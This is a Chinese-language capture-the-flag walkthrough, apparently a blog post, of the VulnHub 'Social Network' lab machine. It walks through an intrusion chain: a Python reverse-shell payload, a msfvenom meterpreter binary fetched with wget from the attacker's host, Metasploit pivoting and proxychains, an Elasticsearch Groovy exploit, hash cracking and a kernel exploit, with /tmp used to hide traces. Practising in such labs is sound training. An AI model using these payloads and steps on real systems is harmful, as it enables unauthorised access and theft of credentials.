BoredHackerBlog: Social Network WP
靶机介绍
该靶机来源:
https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
本地网络环境
渗透主机(kali):192.168.10.3
渗透主机(win7):192.168.10.4
靶机:192.168.10.5/172.17.0.1
内网docker靶机:172.17.0.2(web)、172.17.0.3(存密码)
搭建平台:vmware,网络连接形式为NAT
一、信息收集
主机发现
因为在实验环境下,宿主机和目标机是在同一环境网络下,故可以使用如下命令发现主机:
netdiscover -r 192.168.10.0/24 #效率太慢,不推荐使用
arp-scan -l
本实验环境下,目标机器IP地址为: 192.168.10.5
NMAP 端口扫描
nmap -A 192.168.10.5
发现目标开放22、5000端口(http服务),并有python2环境。
22端口不存在弱口令,访问5000端口,对该web服务进行目录扫描,尽可能发现敏感信息和后台目录。
dirsearch 目录扫描
dirsearch -u "http://192.168.10.5:5000/" -e * -i 200
二、WEB打点
访问/admin,发现其后台可以执行python代码。
这里直接python反弹shell到kali。
kali开启监听 nc -lvvp 7777
web 反弹shell payload:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.10.3",7777))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
反弹shell到kali MSF,将权限迁移到MSF
msf 生成回连木马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.3 LPORT=4444 -f elf > 4444.elf
kali开启http服务
python3 -m http.server 1081
通过网页后台反弹到shell下载木马:
wget http://192.168.10.3:1081/4444.elf
添加权限
chmod +x 4444.elf
msf本地设置监听以及使用payload:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
run
然后在网页的反弹shell中执行
./4444.elf
可以看到成功反弹shell回到MSF。
内网信息收集
查看当前用户权限:
为root用户
kali接受到反弹的shell,用id查下权限,用ls查下文件,发现是root权限,但查看文件时发现了一个Dockerfile文件,猜测可能时docker主机,需要进一步确认。
查看Dockerfile文件cat Dockerfile,内容如下,判断可能是docker
进一步判断,查看根目录下是否有dockerenv,ls /.dockerenv,发现存在,判断90%是docker容器
最后判断,cat /proc/1/cgroup
cgroup内有docker文件判断其就是docker容器
判断依据:Linux初始化进程时,PID=1代表的是初始化进程的ID,如果1进程下面的cgroup文件包含docker文件,就说明这是个docker系统。
查看ifconfig
查看网段:
run get_local_subnets
添加路由:
run autoroute -s 172.17.0.2/24
background
让meterpreter会话在后台运行
查看会话命令: sessions -l
sessions ID(会话ID)
内网存活网段扫描:
use auxiliary/scanner/portscan/tcp
set rhosts 172.17.0.2/24
set threads 100
发现目标存在
172.17.0.1
172.17.0.3
使用msf的代理模块+proxychains4进行代理
use auxiliary/server/socks_proxy
无需配置,直接使用默认的参数
配置proxychains4代理文件:
vim /etc/proxychains4.conf
socks5 127.0.0.1 1080
在配置好代理之后,可以使用kali的代理工具proxychains4进行内网渗透。
使用namp工具进行端口扫描看看它开放了那些端口服务:
注释:(因为socks4不支持ICMP协议,不用对它使用ping,所以就使用-Pn 参数,而-sT是使用TCP扫描)
proxychains4 nmap -Pn -sT 172.17.0.1
proxychains4 nmap -Pn -sT 172.17.0.2
proxychains4 nmap -Pn -sT 172.17.0.3
设置代理
三、内网渗透
在通过sockscap配置好代理后,将google浏览器添加到该软件的代理程序上
访问http://172.17.0.3:9200,发现此elasticsearch版本为1.4.2。
metasploit 搜索 elasticsearch,elasticsearch版本1.4.2 存在低版本漏洞,利用此payload进行攻击。
exploit/multi/elasticsearch/search_groovy_script
具体配置如下:
成功获得meterpreter会话:
发现为root用户,成功获得docker elasticsearch(类似内网服务器)的root权限。
查看此docker服务器下,发现一passwords文件,cat查看一下发现为登录用户的账号密码。
在网站https://crackstation.net/对hash进行破解:
四、宿主机本地提权
对破解出来的用户逐一登录宿主机ssh,最终发现用户 join/1337hack 可以成功登录 ssh 192.168.10.5
使用命令收集此服务器内核版本
uname -a
cat /etc/issue
内核为3.13.0
kali本地搜索内核版本查找exp,
searchsploit linux 3.13
选择37292.c来利用,首先将文件复制到新建的gcc文件夹下
cp /usr/share/exploitdb/exploits/linux/local/37292.c .
vim 37292.c:查看下exp代码发现代码末尾会调用gcc来编译ofs-lib.c文件,这个操作靶机上是会报错的,因为靶机上没有gcc环境。
改正措施
我们可以把ofs-lib.so文件和exp文件一同上传到靶机,改成只是调用文件,编译代码操作我们在kali本地完成,这时代码里的编译文件的代码也就不需要了,删除方框内编译代码即可。
本地编译gcc -o exp2 37292.c
寻找编译过后的ofs-lib.so文件,看是否存在,find /usr -name ofs-lib.so,存在直接复制到当前文件夹下
开启一个http服务,以便靶机能够把提权文件下载下来
python3 -m http.server 81
下载的文件需要放在tmp目录下,因为提权文件里写的路径是/tmp,而且tmp是存放临时文件的,会消除我们上传的文件,有利于隐藏攻击。
执行exp2,查看权限,已经是root,任务完成。
五、总结
寻找目标
靶机和kali在同一网段,直接采用arp-sacn -l扫描主机;也可以采用nmap扫描
收集信息
发现靶机的端口,服务,利用dirsearch -u http://192.168.10.5:5000扫描目录发现/admin路径;其他扫描工具也可以
验证测试
测试/admin存在代码执行漏洞,直接传python代码反弹shell拿到web权限
当前主机分析
由于靶机描述存在Docker,且发现Dockerfile文件,猜测是Docker容器,看ip发现在内网,可以进行横向发现
进入内网&内网穿透
内网发现三台存活主机,继续进行信息收集,由于在内网,使用MSF进行内网穿透,配置proxychains4方便工具利用穿透代理;
内网信息收集
连接代理,对内网其他主机进行扫描,发现172.17.0.1是靶机主体,发现172.17.0.3上存在Elasticsearch低版本代码执行漏洞;
kali漏洞exp利用
拿下172.17.0.3后发现上面存有账户密码,解密,测试,发现主机一普通账户
账户本地提权
收集信息知道靶机linux内核版本不高,存在越权漏洞,靶机下载kali上的越权文件实现本地越权。
痕迹隐藏
操作集中在/tmp夹下,linux会定时清理这文件夹下的文件,方便隐藏痕迹。
六、参考文章
本文来自博客园,作者:admax11,转载请注明原文链接:https://www.cnblogs.com/ctfisnull/p/15350933.html